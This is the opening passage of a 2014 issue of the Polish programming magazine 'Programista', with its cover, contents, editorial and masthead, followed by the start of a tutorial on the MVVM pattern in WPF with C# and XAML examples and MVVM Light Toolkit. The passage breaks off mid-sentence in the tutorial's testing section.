background image

6

/

2014 

(

25

)

www

programistamag

pl

Cena 22.90 zł (w tym VAT 8%)

Index: 285358

BUDOWA OPROGRAMOWANIA DO ANALIZY I PRZETWARZANIA TRÓJWYMIAROWYCH OBRAZÓW MEDYCZNYCH

Swift od Apple

.NET Micro Framework

Gerrit Code Review

Nowoczesny język 

programowania  

dla systemów iOS  

oraz OS X

Programowanie 

firmware dla 

urządzenia STM32F4 

Discovery

Jak poprawić 

efektywność przy 

przeglądach kodów 

źródłowych

Prototyp gry sieciowej 

 w Unity 3D

background image

DOMENY | E-MAIL | HOSTING | STRONY WWW

 

| SERWERY

*  Ceny bez VAT (23%). 1&1 Serwer o12A-32 w cenie 349,90 zł/mies. w umowie na 24 miesiące. 1&1 Serwer L2 w cenie 79,90 zł/mies. w umowie na 24 miesiące.

Niniejszy materiał promocyjny nie stanowi oferty w rozumieniu kodeksu cywilnego. Ogólne warunki handlowe i regulamin dostępne na www.1and1.pl

1and1.pl

22 116 27 77

SPRAWDŹ TEŻ
1&1 SERWER L2

OKAZJA!

 AMD Opteron

TM

 6338P 

 12 rdzeni

 2,3 GHz

 32 GB lub 64 GB pamięci

  2 x 2 TB HDD (software 

RAID) lub 2 x 4 TB HDD 
(hardware RAID)

 Pełne wsparcie dla 64-bit

  Parallels

®

 Plesk 

w wersji polskiej

   Opcja: 2 x Intel

®

 S3500

240 GB SSD za 60 zł/mies.*

NOWOŚĆ!

Serwer dedykowany o12A-32: najnowszy procesor AMD Opteron™ 6338P, 
dysk 2 x 2 TB software RAID oraz w 100% serwerowe podzespoły.

210 x 297 + 5 mm

LEPIEJ, PEWNIEJ

SZYBCIEJ!

Z AMD OPTERON

TM

 6338P

349,

90

zł/mies.*

już od

79,

90

zł/mies.*

już od

TELEFON

PORADA 

SPECJALISTY

MIESIĄC

30 DNI 

NA PRÓBĘ

MAPPL1406S1P_210x297+5_KB_39L300.indd   1

02.06.14   10:25

background image

SPIS TREŚCI 

/

 EDYTORIAL

BIBLIOTEKI I NARZĘDZIA

Podstawy WPF, część 4 – MVVM................................................................................................

Wojciech Sura, Damian Jarosch

4

Projektowanie komponentów wizualnych. Część 1: Wstęp...................................................

Wojciech Sura

8

Automatyzacja za pomocą GruntJS............................................................................................

Kacper Cyran

12

JĘZYKI PROGRAMOWANIA

Swift: rewolucja czy ewolucja?.....................................................................................................

Rafał Kocisz

16

PROGRAMOWANIE GRAFIKI

Przetwarzanie geometrii przy pomocy Transform Feedback OpenGL 4.3..........................

Piotr Sydow

22

Budowa oprogramowania do analizy trójwymiarowych obrazów medycznych................

Michał Chlebiej

26

PROGRAMOWANIE GIER

Unity3D – prototyp gry sieciowej................................................................................................

Marek Sawerwain

32

Przewodnik po MonoGame, część 2: komponenty gry...........................................................

Jacek Matulewski

38

TESTOWANIE I ZARZĄDZANIE JAKOŚCIĄ

Gerrit Code Review........................................................................................................................

Wojciech Frącz

42

PROGRAMOWANIE SYSTEMÓW OSADZONYCH

.NET Micro Framework. Programowanie firmware dla urządzenia STM32F4 Discovery.....

Dawid Borycki

48

RECENZJA

MegiTeam – hosting od programistów dla programistów.....................................................

Rafał Kocisz

58

WYWIAD

Polacy górą! Relacja z finałów Hello World Open 2014.........................................................

60

PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

IBM Mainframe..............................................................................................................................

62

LABORATORIUM BOTTEGA

Brakujący element Agile Część 5: Spotkania.............................................................................

Paweł Badeński 

66

STREFA CTF

Zdobyć flagę… CONFidence DS CTF 2014 – web200.............................................................

Krzysztof "vnd" Katowicz-Kowalewski

70

KLUB LIDERA IT

Jak całkowicie odmienić sposób programowania, używając refaktoryzacji (część 10).....

Mariusz Sieraczkiewicz

74

KLUB DOBREJ KSIĄŻKI

Agile. Szybciej, łatwiej, dokładniej...............................................................................................

Rafał Kocisz

78

Co ma sauna do startupów?

Daleko, daleko od naszego rodzimego kraju, za jednym morzem i zapewne parunastoma 
lasami, egzystuje sobie Espoo – miasto położone w Finlandii, nieopodal stolicy. Cóż w nim 
takiego szczególnego? Na pewno duże nagromadzenie biurowców należących do korporacji 

dobrze znanych dla większości Polaków, ale ten tekst skupi się wyłącznie na jednej saunie.

Sauna  ta  jest  o  tyle  wyjątkowa,  że  nie  „rozgrzewa”  ludzi,  lecz  powstające  w  szybkim 

tempie mikroprzedsiębiorstwa. W jaki sposób? Otóż w campusie Aalto University stoi duży 

murowany budynek podpisany „Startup Sauna”, otwarty dla wszystkich w dni robocze od 
8:00 do 17:00.

W  środku  znajduje  się  duża  hala  z  tak  zwanym  „open  space”  –  każdy  może  po  pro-

stu  przyjść,  zająć  wolny  segment  biurowy  i  pracować  wraz  ze  swoją  drużyną. Organiza-
cja w żaden sposób nie wymaga rejestracji i nie nakłada na użytkowników żadnych opłat. 

Koszty związane z utrzymaniem budynku pokrywają wspólnie uniwersytet i fińska agencja 
rządowa Tekes. Co ciekawe, była to całkowicie oddolna inicjatywa studentów.

To w Finlandii. A w Polsce? Może wystarczy tylko spróbować? ;)

Magazyn Programista istnieje również dzięki Tobie, drogi czytelniku. Cały czas jeste-

śmy ciekawi Twojej opinii: 

http://fb.me/ProgramistaMagazyn

Z poważaniem, Redakcja

Wydawca/ Redaktor naczelny:

Anna Adamczyk

annaadamczyk@programistamag.pl

Redaktor prowadzący:

Łukasz Łopuszański

lukaszlopuszanski@programistamag.pl

Korekta:

Tomasz Łopuszański

Kierownik produkcji:

Krzysztof Kopciowski

bok@keylight.com.pl

DTP:

Krzysztof Kopciowski

Dział reklamy:

reklama@programistamag.pl

tel. +48 663 220 102

tel. +48 604 312 716

Prenumerata:

prenumerata@programistamag.pl

Współpraca:

Michał Bartyzel

Mariusz Sieraczkiewicz

Michał Leszczyński

Marek Sawerwain

Łukasz Mazur

Rafał Kułaga

Sławomir Sobótka

Michał Mac

Gynvael Coldwind

Bartosz Chrabski

Adres wydawcy:

Dereniowa 4/47

02-776 Warszawa

Druk:

Drukarnia Kontakt

ul. Gospodarcza 5a

05-092 Łomianki

Nakład: 5000 egz.

Redakcja zastrzega sobie prawo do skrótów i opracowań 

tekstów oraz do zmiany planów wydawniczych, tj. zmian 

w zapowiadanych tematach artykułów i terminach 

publikacji, a także nakładzie i objętości czasopisma.
O ile nie zaznaczono inaczej, wszelkie prawa do 

materiałów i znaków towarowych/firmowych 

zamieszczanych na łamach magazynu Programista są 

zastrzeżone. Kopiowanie i rozpowszechnianie ich bez 

zezwolenia jest Zabronione.
Redakcja magazynu Programista nie ponosi 

odpowiedzialności za szkody bezpośrednie i pośrednie, 

jak również za inne straty i wydatki poniesione 

w związku z wykorzystaniem informacji prezentowanych 

na łamach magazy nu Programista.

Magazyn Programista wydawany jest 

przez Dom Wydawniczy Anna Adamczyk

Zamów prenumeratę magazynu Programista

 

przez formularz na stronie:  

http://programistamag.pl/typy-prenumeraty/

  

lub zrealizuj ją na podstawie faktury Pro-

forma. W spawie faktur Pro-Forma prosimy 

kontktować się z nami drogą mailową: 

redakcja@programistamag.pl

Prenumerata realizowana jest także 

przez RUCH S.A. Zamówienia można 

składać bezpośrednio na stronie: 

www.prenumerata.ruch.com.pl

  

Pytania prosimy kierować na adres e-mail: 

prenumerata@ruch.com.pl

 lub kontaktując 

się telefonicznie z numerem: 801 800 803 

lub 22 717 59 59, godz.: 7:00 – 18:00 (koszt 

połączenia wg taryfy operatora).

background image

4

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

Wojciech Sura, Damian Jarosch

WZORZEC?

Każdy, kto z programowaniem ma już trochę do czynienia, wie o istnieniu 
czegoś takiego, jak wzorce projektowe. Wzorzec projektowy nie jest gotową 
biblioteką czy listą instrukcji mówiących o tym, w jaki sposób krok po kroku 
zaimplementować fragment kodu źródłowego. Jest on raczej zbiorem wska-
zówek, które znajdują zastosowanie w określonej klasie problemów. „Jeżeli 
masz pewien specyficzny problem”, mówi taki wzorzec, „mam pewien spraw-
dzony pomysł na to, w jaki sposób możesz podejść do jego rozwiązania”.

Wśród wzorców możemy wyróżnić kilka rodzajów, pomiędzy którymi 

znajdują się wzorce strukturalne, behawioralne i architektoniczne. Pierwsze 
z nich mówią o tym, w jaki sposób wiązać ze sobą zależne od siebie struktury 
danych. Wzorce behawioralne pomagają zaprojektować interakcję pomiędzy 
różnymi elementami systemu informatycznego. Ostatnie zaś – architektonicz-
ne – mówią o tym, jak projektować architekturę samej aplikacji. MVVM należy 
właśnie do trzeciej kategorii wzorców.

Współcześnie bardzo rzadko pisze się programy całkowicie od zera – prze-

ważnie korzystamy z jakiegoś frameworka, który dostarcza nam pewien zbiór 
gotowych rozwiązań, na przykład do wyświetlenia interface'u użytkownika, 
współpracy z systemem operacyjnym i tak dalej. Duża część z nich – być może 
nawet przeważająca większość - jest neutralna na poziomie architektury apli-
kacji. Chcę przez to powiedzieć, że taki „neutralny” framework pozostawia 
programiście całkowitą dowolność w zakresie wyboru wzorca architektonicz-
nego (lub zrezygnowania z takowego i zaprojektowania architektury aplikacji 
od zera).

WPF w tym kontekście różni się nieco od innych frameworków. Z jednej 

strony nie narzuca on bezpośrednio konkretnego wzorca architektonicznego, 
jak na przykład ASP.NET MVC: nic nie stoi na przeszkodzie, by w aplikacji WPF 
postawić na formatce przycisk, ustawić mu handler zdarzenia Click i oprogra-
mować w nim logikę aplikacji (co oczywiście samo w sobie jest dosyć marnym 
pomysłem). Z drugiej strony jednak WPF bardzo wyraźnie faworyzuje MVVM: 
zawiera bowiem szereg mechanizmów, które zostały przygotowane specjal-
nie pod ten właśnie wzorzec. I jeśli mu się nie podporządkujemy od początku, 
w pewnym momencie okaże się, że zaimplementowanie niektórych skądinąd 
prostych rozwiązań będzie bardzo trudne do zrealizowania.

HISTORIA

W 2004 roku Martin Fowler – specjalista z zakresu architektury oprogramowa-
nia i analizy obiektowej – opublikował na swoim blogu artykuł o wzorcu, który 
nazwał Presentation Model (PM). Martin pisze na swoim blogu:

GUI składają się zwykle z widgetów, które wyświetlają stan pojedynczego 

ekranu GUI. Jednak pozostawianie tego stanu w widgetach powoduje, że trudniej 

jest go w danym momencie pobrać, gdyż wiąże się to z manipulowaniem API tych 
widgetów, a ponadto zachęca do implementowania logiki
 prezentacji w klasie 
widoku
.

Aby zapobiec takim sytuacjom, Martin zaproponował wprowadzenie po-

działu architektury aplikacji na trzy części: przechowujący wyświetlane dane 
model, widok, którego zadaniem jest prezentacja tych danych (widokiem jest 
na przykład okno), oraz Presentation Model, który pobiera dane z modelu, 
przygotowuje je do wyświetlenia, a następnie przekazuje widokowi.

Skrót MVVM ujrzał światło dzienne niedługo później. W 2005 roku John 

Grossman, będący obecnie jednym z architektów WPF i Silverlighta opubliko-
wał na blogu wpis o wzorcu Model-View-ViewModel. Wzorzec ów u podstaw 
był bardzo podobny do pomysłu Martina Fowlera: oba opierają się o dostar-
czenie klasy będącej abstrakcją widoku, przechowującej jego aktualny stan 
oraz zawierającej odpowiednią logikę. Różnica polega jednak na tym, że o ile 
Presentation Model jest wzorcem uogólnionym – można go zastosować w 
dowolnym programie, niezależnie od języka czy platformy – to MVVM został 
przygotowany specjalnie dla WPFa: zakłada on bowiem jawnie korzystanie z 
niektórych elementów tego frameworka.

ZASADA TRÓJPODZIAŁU

MVVM zakłada podział architektury aplikacji na trzy części.

Pierwszą z nich jest model, którego zadaniem jest tylko i wyłącznie prze-

chowywanie prezentowanych później użytkownikowi danych. Modelem 
może być więc na przykład lista, słownik albo nawet zwykła, bardziej lub 
mniej skomplikowana klasa przygotowana przez programistę.

Podczas projektowania modelu należy mieć na uwadze, iż jest on jedynie 

kontenerem. Jeśli więc znajdzie się w nim jakakolwiek logika, powinna ona 
dotyczyć tylko i wyłącznie przechowywania danych: na przykład metody za-
pewniające spójność danych, albo zapisujące lub odczytujące te dane z dys-
ku. W myśl wzorca MVVM model nie powinien zawierać żadnej logiki, która 
przechowywane dane w jakikolwiek sposób przetwarza.

Drugim elementem jest widok. Ten z kolei odpowiedzialny jest za zapre-

zentowanie danych użytkownikowi. Widokiem może być więc na przykład 
okno wraz z zestawem odpowiednich kontrolek.

Pozostał nam jeszcze ostatni fragment układanki – viewmodel. Nazwa, 

choć może mało finezyjna, tłumaczy jednak doskonale, jakie jest jego zada-
nie: wiąże on model z widokiem, dostarczając temu ostatniemu danych z mo-
delu w postaci, która będzie mogła zostać zaprezentowana użytkownikowi.

MVVM zakłada bardzo ścisłe zasady enkapsulacji pomiędzy tymi trzema 

warstwami. 

Model nie jest świadom istnienia żadnego z pozostałych elementów. Jego 

zadaniem jest tylko przechowywanie danych i do tego się ogranicza.

Podstawy WPF, część 4 – MVVM

Windows Presentation Foundation wynosi projektowanie interface'u użytkownika 
na zupełnie nowy poziom. Dzieje się tak w dużej mierze za przyczyną języka XAML, 
który bez żadnych dodatkowych bibliotek czy rozszerzeń pozwala na opisanie wy-
glądu okien i stron, przygotowanie tematów graficznych dla aplikacji, wprowadze-
nie animacji, stylowanie elementów wyświetlanych w listach, czy wręcz zaprojek-
towanie własnych kontrolek praktycznie od zera. A to wszystko deklaratywnie, bez 
napisania pojedynczej linijki kodu. Kiedy jednak mamy już przygotowany interface 
użytkownika, trzeba zakasać rękawy i zacząć go oprogramowywać. W tej części 
podstaw WPFa chcemy więc opowiedzieć o wzorcu, który jest w tym frameworku 
promowany w szczególny sposób: o MVVMie.

background image

5

/ www.programistamag.pl /

PODSTAWY WPF, CZĘŚĆ 4 – MVVM

Viewmodel jest świadomy istnienia modelu, który może zostać mu prze-

kazany bezpośrednio lub poprzez pewien interface. Przygotowanie abstrakcji 
modelu daje tę korzyść, że można go w dowolnym momencie wymienić na 
zupełnie inną klasę, a viewmodel wciąż poradzi sobie z pobraniem z niego 
danych.

Nieco inaczej jest ze współpracą viewmodelu z widokiem – choć ten 

pierwszy wyprowadza dane w sposób łatwy do skonsumowania przez wi-
dok, na tym kończy się jego rola – nie współpracuje z widokiem w sposób 
bezpośredni.

Viewmodel spełnia też jeszcze jedną istotną rolę: przetwarza lub zleca in-

nym klasom przetwarzanie danych. Jest on więc miejscem, w którym znajduje 
się logika danego fragmentu aplikacji.

Wreszcie widok – przeważnie jest nim okno (Window) lub strona (Page) 

zaprojektowana w XAMLu, która wykorzystuje mechanizm bindingów, by po-
brać dane z viewmodelu i zaprezentować je w kontrolkach. Widok nigdy nie 
przetwarza danych. Gdy zajdzie potrzeba ich modyfikacji (na przykład użyt-
kownik zadecyduje o dodaniu, usunięciu lub edycji elementu), widok ograni-
cza się tylko do poinformowania viewmodelu o zaistniałej sytuacji, i jego rola 
na tym się kończy.

PLUSY I MINUSY

MVVM wyróżnia się pewną szczególną cechą. Mówi się o nim, że o ile trudne 
rzeczy robi się w nim łatwo, to z łatwymi jest dokładnie na odwrót – robi się je 
stosunkowo trudno. Jest tak dlatego, że niezależnie od klasy problemu MVVM 
wymusza implementację trzech wymienionych wcześniej warstw: modelu, 
viewmodelu i widoku. Jeśli aplikacja jest nieskomplikowana, spowoduje to 
niepotrzebnie duży narzut kodu źródłowego.

Wzorzec ten ma jednak dużo zalet, których nie sposób przeoczyć. Po 

pierwsze, wszystkie trzy warstwy można bardzo łatwo wymieniać. Istnieje 
potrzeba przekazania innego modelu? Żaden problem – wystarczy tylko, że 
będzie on implementował odpowiedni interface. Chcemy wyświetlić dane 
w inny sposób? Nic trudnego – wystarczy tylko przygotować nowy widok, 
który będzie umiał współpracować z viewmodelem. Tego ostatniego wymie-
nia się rzadko, ale gdyby zaszła taka potrzeba, i to można stosunkowo łatwo 
zrealizować.

Z prostoty wymiany warstw wynika jeszcze jedna istotna zaleta: aplikacje 

napisane zgodnie ze wzorcem MVVM można bardzo łatwo testować jednost-
kowo. Zauważmy bowiem, że viewmodel nie jest powiązany w żaden sposób 
z widokiem – on dostarcza mu tylko dane do wyświetlenia. Wystarczy więc 
dostarczyć viewmodelowi spreparowany model, zamiast widoku - odpowied-
ni mock i już możemy pisać testy.

Separacja warstwy logiki i prezentacji umożliwia też uniezależnienie pracy 

nad interface użytkownika i logiką aplikacji. Wystarczy bowiem, że programi-
sta dogada się z projektantem co do interface'u viewmodelu i od tego mo-
mentu obaj mogą pracować całkowicie niezależnie.

TO NIE WZORZEC, TO STYL ŻYCIA

No, może nie tyle styl życia, co bardziej sposób myślenia. MVVM wyma-
ga bowiem od programisty zmiany podejścia do implementacji pewnych 
rozwiązań.

Popatrzmy na prosty przykład: viewmodel podczas realizacji zleconych 

mu przez użytkownika zadań dochodzi do momentu, w którym musi zapytać 
o coś użytkownika przy pomocy okna dialogowego. Nic prostszego, wystar-
czy wywołać metodę 

MessageBox.Show, prawda?

Niestety – jeśli zdecydowaliśmy się na MVVM, takie działanie będzie stano-

wiło złamanie zasad wzorca. Dzieje się tak dlatego, że do viewmodelu wpro-
wadziliśmy w tan sposób fragment pewnego specyficznego widoku. Gdyby-
śmy teraz chcieli przenieść aplikację na przykład do środowiska mobilnego, to 
będziemy mieli kłopot, ponieważ pytania zadawane są tam użytkownikowi w 
inny sposób. Sama wymiana widoku wówczas nie wystarczy – trzeba będzie 
przepisać viewmodel, a właśnie przed tym chce nas uchronić MVVM.

Problem ten – w innych modelach właściwie nie występujący – można 

rozwiązać w kilku krokach:
1.  Wyprowadzić w widoku metodę, która wyświetli komunikat (w aplikacji 

desktopowej wywoła po prostu 

MessageBox.Show)

2.  Metodę tę opublikować poprzez interface
3.  Interface ten przekazać viewmodelowi

Teraz w każdej chwili, gdy viewmodelowi zachce się powiadomić o czymś 
użytkownika, skorzysta z interface'u (abstrakcji widoku), któremu zleci zreali-
zowanie tego zadania. MVVM nie zostanie tu złamany, ponieważ viewmodel 
nie będzie powiązany z konkretnym widokiem. Jeśli będziemy teraz chcieli 
zamienić widok na inny, wystarczy zadbać o to, aby zaimplementował odpo-
wiedni interface.

OD TEORII DO PRAKTYKI

Spróbujmy napisać teraz prostą aplikację WPF, wykorzystując opisany wcześniej 
wzorzec MVVM. Aplikacja będzie służyła do sprawdzania, do jakiej sieci należy 
podany przez użytkownika numer telefonu komórkowego – w tym celu program 
połączy się z serwisem internetowym i za pośrednictwem prostego API pobierze 
odpowiednią informację. Do tego celu użyjemy klasy 

HttpWebClient, wykonu-

jąc asynchroniczne zapytanie przy pomocy async oraz await. Aplikację napiszemy 
od zera, bez użycia żadnego frameworka - pozwoli nam to w pełni zrozumieć ideę 
MVVM oraz poznać poszczególne elementy, które ją realizują.

Pierwszym krokiem jest dodanie do solucji nowej, pustej aplikacji WPF. 

Aplikacja taka składa się z dwóch plików XAML i odpowiadających im plików 
z kodem źródłowym.

Plik XAML to kod opisujący interface okna lub strony oparty na XML. W 

pliku tym możemy deklaratywnie budować interface użytkownika podobnie 
do tego, jak buduje się stronę WWW w plikach (X)HTML. Natomiast powiązany 
z nim plik .xaml.cs jest tzw. „code behind” pliku .xaml, czyli miejscem, w któ-
rym dostarczamy kod źródłowy pracujący z zaprojektowanym interfacem. Plik 
.xaml.cs jest częścią widoku.

Plik App.xaml (oraz App.xaml.cs) będzie dla nas punktem wejścia, w któ-

rym powołamy do życia klasy viewmodeli, oraz serwisów, które będą realizo-
wały funkcjonalność aplikacji.

WPF pozwala instancjonować obiekty deklaratywnie – poprzez wstawienie 

ich w postaci odpowiednich znaczników do kodu XAML. Możemy wykorzystać 
to do utworzenia viewmodeli w pliku App.xaml. Dzięki takiemu podejściu za-
pewnimy sobie Intellisense do edytora XAML oraz dostarczymy dane, które bę-
dziemy mogli zobaczyć w czasie projektowania aplikacji (design-time).

<

Application.Resources

>

<

viewmodel

:

MainWindowViewModel

 x

:

Key

="MainWindowViewModel"/>

<

viewmodel

:

HistoryWindowViewModel

 

x

:

Key

="HistoryWindowViewModel"/>

</

Application.Resources

>

Jak odróżnić dane design-time od rzeczywistych danych, które będą używane 
w czasie pracy programu? Otóż wyposażymy nasze viewmodele w dwa kon-
struktory. Jeden, bezparametrowy, zostanie użyty przez Visual Studio podczas 
tworzenia edytora widoku XAML. Drugi zaś, z dodatkowymi parametrami, 
wykorzystamy w trakcie pracy naszej aplikacji. Nadpisanie 

Application.

Resources następuje w pliku App.xaml.cs w metodzie OnStartup:

protected override void

 OnStartup(

StartupEventArgs

 e)

{

base

.OnStartup(e);

var

 checkPhoneHistoryService =

 new

 CheckPhoneHistoryService

();

var

 checkPhoneService =

 new

 

CheckPhoneService

(checkPhoneHistoryService);

Resources[

"MainWindowViewModel"

] =

 new

 

MainWindowViewModel

(checkPhoneService,checkPhoneHistoryService);

Resources[

"HistoryWindowViewModel"

] =

 new

 

HistoryWindowViewModel

(checkPhoneHistoryService);

}

background image

6

/ 6 

. 2014 . (25)  /

BIBLIOTEKI I NARZĘDZIA

Nasza aplikacja posiada dwa widoki (będą nimi okna). Datacontextem dla 

widoków będą odpowiednie viewmodele, zaś za pośrednictwem mechani-
zmu „dziedziczenia” wartości dependency properties, będą do nich miały do-
stęp również kontrolki WPF umieszczone w oknach.

Najbardziej popularnym – i również najwygodniejszym – sposobem prze-

kazywania danych z viewmodelu do widoku jest wiązanie właściwości. Na 
przykład właściwość 

Text kontrolki TextBlock lub TextBox można przywią-

zać do pewnej własności viewmodelu. Ponieważ jednak viewmodel rzadko 
kiedy zawiera dependency properties, trzeba zastosować inne rozwiązanie, 
które pozwoli na prawidłowe przekazywanie informacji o zmianach wartości 
własności. W tym celu implementujemy w viewmodelu interface 

INoti-

fyPropertyChanged, a każdą zmianę wartości ręcznie raportujemy należą-
cym do tego interface'u zdarzeniem 

PropertyChanged.

Jedną z kluczowych zmian w stosunku do klasycznego modelu progra-

mowania jest to, że logiki aplikacji nie wiążemy z interface użytkownika przy 
pomocy zdarzeń – staramy się zminimalizować ilość kodu znajdującego się 
w code-behind widoków. Zamiast zdarzeń korzystamy natomiast z mechani-
zmu komend (Commands). Wśród innych ma to też tę dodatkową zaletę, że 
w łatwy sposób możemy poinformować widok, czy komenda w określonych 
okolicznościach może zostać wykonana, czy nie. Ponadto wywoływanym ko-
mendom można też z widoku przekazać dodatkowy parametr. 

Za obsługę komend odpowiedzialne są klasy implementujące interface 

ICommand, który posiada dwie metody. Pierwsza odpowiedzialna jest za wy-
konanie akcji, zaś druga zwraca wartość 

true lub false w zależności od tego 

czy dana akcja może, czy też nie może zostać wykonana.

<

Button

 Content

="Sprawdź"

 Command

="{

Binding

 CheckNumberCommand

}"></

Button

>

Aby móc skorzystać z intefejsu ICommand, należy ręcznie zaimplemen-
tować go w odpowiedniej klasie, a później utworzyć jej instancję. Do-
brym miejscem na utworzenie instancji klas komend jest konstruktor klasy 
MainWindowsViewModel. 

Podczas instancjonowania klas reprezentujących komendy przekazujemy 

do nich akcje (metody) odpowiedzialne za faktyczne wykonanie komendy 
oraz za sprawdzenie, czy w danym momecie możliwe jest jej wykonanie. Jak 
widzimy, w samej klasie implementującej 

ICommand nie posiadamy żadnej 

logiki, a jedynie wykonujemy akcję, którą przekaże nam Viewmodel.

Przykładowo, po powiązaniu własności 

Command  przycisku „Sprawdź” z 

odpowiednią komendą udostępnioną przez viewmodel, przycisk ów będzie 
dostępny tylko wtedy, gdy aplikacja nie będzie zajęta sprawdzaniem po-
przedniego wywołania, oraz gdy podany przez użytkownika numer będzie 
prawidłowy (czyli będzie składał się z dziewięciu cyfr).

Analogicznie postąpimy w przypadku przycisku pokazującego historię. 

Przycisk nie będzie dostępny, jeśli historia jest pusta.

private bool

 CanShowHistory()

{

return

 _checkPhoneHistoryService.History.Count > 0;

}

private void

 ShowHistory()

{

_navigationService.NavigateToHistory();

}

Drugim aspektem, w którym wyraźnie widać zastosowanie wzorca MVVM, 
jest wyświetlanie okien dialogowych. Zastosowaliśmy tutaj sposób opisany 
na początku artykułu: widok implementuje funkcjonalność, która pozwoli na 
wyświetlanie takich okien, ale to viewmodel będzie decydował o tym, kiedy 
okno dialogowe ma się pojawić. Podejście to gwarantuje nam odseparowanie 
części odpowiedzialnej za faktyczne wyświetlanie okien od logiki aplikacji. W 
podobny sposób zaimplementujemy nawigację do okna z historią. Również 
i tu pojawia się abstrakcja w postaci interfejsu umożliwiającego nawigację.

Dużą zaletą takiego rozwiązania jest łatwość zmiany sposobu zachowania 

się aplikacji: jest tak dlatego, że zarówno widok, jak i viewmodel w żaden spo-
sób nie determinują sposobu nawigacji ani też wyglądu okna dialogowego. 

Równie dobrze zamiast klasy 

MessageBox możemy zastosować np. zwykłe 

okno z własnym szablonem czy stylem.

Jak widzimy, całkiem niewielkim nakładem pracy osiągnęliśmy dość dużą 

funkcjonalność, którą w łatwy sposób możemy później testować.

MVVM LIGHT TOOLKIT

Na podstawie poprzedniego przykładu łatwo zauważyć, że istnieją pewne ty-
powe scenariusze, dla których istnieją równie typowe rozwiązania. Aby nie mar-
nować czasu i energii na powielanie takich schematów, z pomocą przychodzą 
nam wszelkiego rodzaju frameworki czy też toolkity realizujące wzorzec MVVM.

Do najbardziej znanych należą:

 

» MVVM Light Toolkit, którego autorem jest Laurent Bugnion. Zawiera on 

zestaw klas bazowych, snippetów oraz szablonów projektów. Bardzo lekki 
framework, dający pełną kontrolę nad kodem.

 

» Caliburn Micro – rozbudowany framework MVVM posiadający wiele go-

towych mechanizmów. Bardzo łatwy i intuicyjny za sprawą podejścia „co-
nvention over configuration”

 

» MVVMCross – stosunkowo młody framework wspomagający tworzenie 

aplikacji MVVM dla urządzeń mobilnych oraz aplikacji desktopowych. 
Jego główną zaletą jest w pełni przenoszalny kod viemodelu pomiędzy 
różnymi platformami.

DA SIĘ SZYBCIEJ?

Spróbujmy teraz ponownie zaimplementować nasz przykładowy program zgod-
nie ze wzorcem MVVM, ale tym razem przy użyciu MVVM Light Toolkit. Po zainsta-
lowaniu tego toolkita w zestawie szablonów dla projektów Windows pojawią się 
nowe pozycje. Jeśli utworzymy projekt przy pomocy jednego z tych szablonów, 
otrzymamy gotowy szkielet aplikacji implementującej wzorzec MVVM.

Pierwszym elementem, na który powinniśmy zwrócić uwagę, jest plik View-

ModelLocator.cs. Następuje tam bowiem zarejestrowanie w kontenerze zależno-
ści wszystkich klas viewmodelu oraz wykorzystywanych w nich klas serwisów.

Kontener zależności (IoC container) to mechanizm pozwalający rejestro-

wać interface'y oraz klasy, które je implementują. Daje to nam możliwość po-
bierania instancji klas wprost z kontenera na podstawie zadanego interface'u. 
Kontener sam zajmuje się ich instancjonowaniem oraz dba o rozwiązanie 
zależności. Spójrzmy na poniższy kod. Na początku rejestrujemy wszystkie 
serwisy metodą generyczną Register. Polega to na „mapowaniu” interfejsów 
na implementujące je klasy. Następnie w taki sam sposób rejestrujemy klasy 
viewmodeli. Jednak w tym przypadku klasy te posiadają pewne zależności: 
poprzez parametry konstruktorów przekazywane są potrzebne do prawidło-
wego działania serwisy. Ponieważ wcześniej zarejestrowaliśmy je w kontene-
rze, podczas pobierania naszego viewmodelu, kontener będzie „wiedział”, co 
dokładnie powinien przekazać do konstruktorów viewmodeli.

Oprócz łatwego zarządzania zależnościami użycie kontenera IoC oraz 

praca na interfejsach daje nam wiele korzyści podczas pisania testów jed-
nostkowych. Zamiast przekazywać pełną implementację serwisów, możemy 
utworzyć mocki, czyli uproszczone klasy symulujące pożądane działanie wy-
magane przez scenariusz testu.

static

 ViewModelLocator()

{

ServiceLocator

.SetLocatorProvider(() =>

 SimpleIoc

.Default);

if

 (

ViewModelBase

.IsInDesignModeStatic)

{

SimpleIoc

.Default.Register<

ICheckPhoneHistoryService

, Design.

DesignCheckPhoneHistoryService

>();

}

else

{

SimpleIoc

.Default.Register<

ICheckPhoneHistoryService

,

 

CheckPhoneHistoryService

>();

}

SimpleIoc

.Default.Register<

ICheckPhoneService

,

 

CheckPhoneService

>();

}

background image

7

/ www.programistamag.pl /

PODSTAWY WPF, CZĘŚĆ 4 – MVVM

Takie rozwiązanie zapewni nam łatwe zarządzanie zależnościami: jeśli na 

przykład zdecydujemy się na użycie jakiegoś serwisu w naszym viewmodelu, wy-
starczy, że przekażemy go jako interface przez parametr konstruktora oraz wcze-
śniej zarejestrujemy odpowiednią klasę w kontenerze zależności. Framework sam 
zadba o to, aby przy tworzeniu instancji klasy ViewModel „wstrzyknąć” odpowied-
nie zależności. Warto zauważyć, że metoda 

Register rejestrująca klasę posiada 

dodatkowy parametr 

createInstanceImmediately, który umożliwia natych-

miastowe utworzenie instancji klasy zaraz po jej zarejestrowaniu.

Oprócz tego otrzymujemy również łatwą możliwość sprawdzenia, czy ak-

tualnie jesteśmy w trybie „design” – czyli czy nasza aplikacja wyświetlana jest 
w Visual Studio lub Blendzie. Jeśli tak jest, to możemy zarejestrować zupełnie 
inny zestaw serwisów – dostarczając tym samym przykładowe dane pomocne 
przy procesie tworzenia szablonów.

Drugim ważnym elementem są same klasy viewmodeli. Dziedziczą one po 

klasie 

ViewModelBase, co zapewnia nam kilka usprawnień, pomagających w 

implementacji wzorca MVVM. Oprócz obowiązkowej implementacji interface'u 
INotifyPropertyChanged otrzymujemy na przykład właściwość Messen-
gerInstance, która umożliwia komunikację pomiędzy klasami viewmodeli.

Dodatkowo, oprócz wspomnianej klasy bazowej 

ViewModelBase, dosta-

jemy też gotowe klasy implementującą interface 

ICommand: RelayCommand 

oraz 

RelayCommand<T>.

TESTOWANIE

Korzystanie ze wzorca MVVM znacząco ułatwia tworzenie testów jednostko-
wych. Dzięki temu, że viewmodel nie jest zależny od UI, jego testowanie staje 
się stosunkowo proste.

Po utworzeniu projektu testowego należy dodać referencję do assembly, 

który przechowuje viewmodele. Przeważnie trzyma się je w osobnej biblio-
tece, jednak w naszym przypadku, dla zachowania prostoty implementacji, 
zestawem tym jest aplikacja.

Na początek musimy zadbać o to, aby wszystkie potrzebne obiekty serwiso-

we zostały dostarczone w postaci mocków; w projekcie wykorzystującym MVVM 
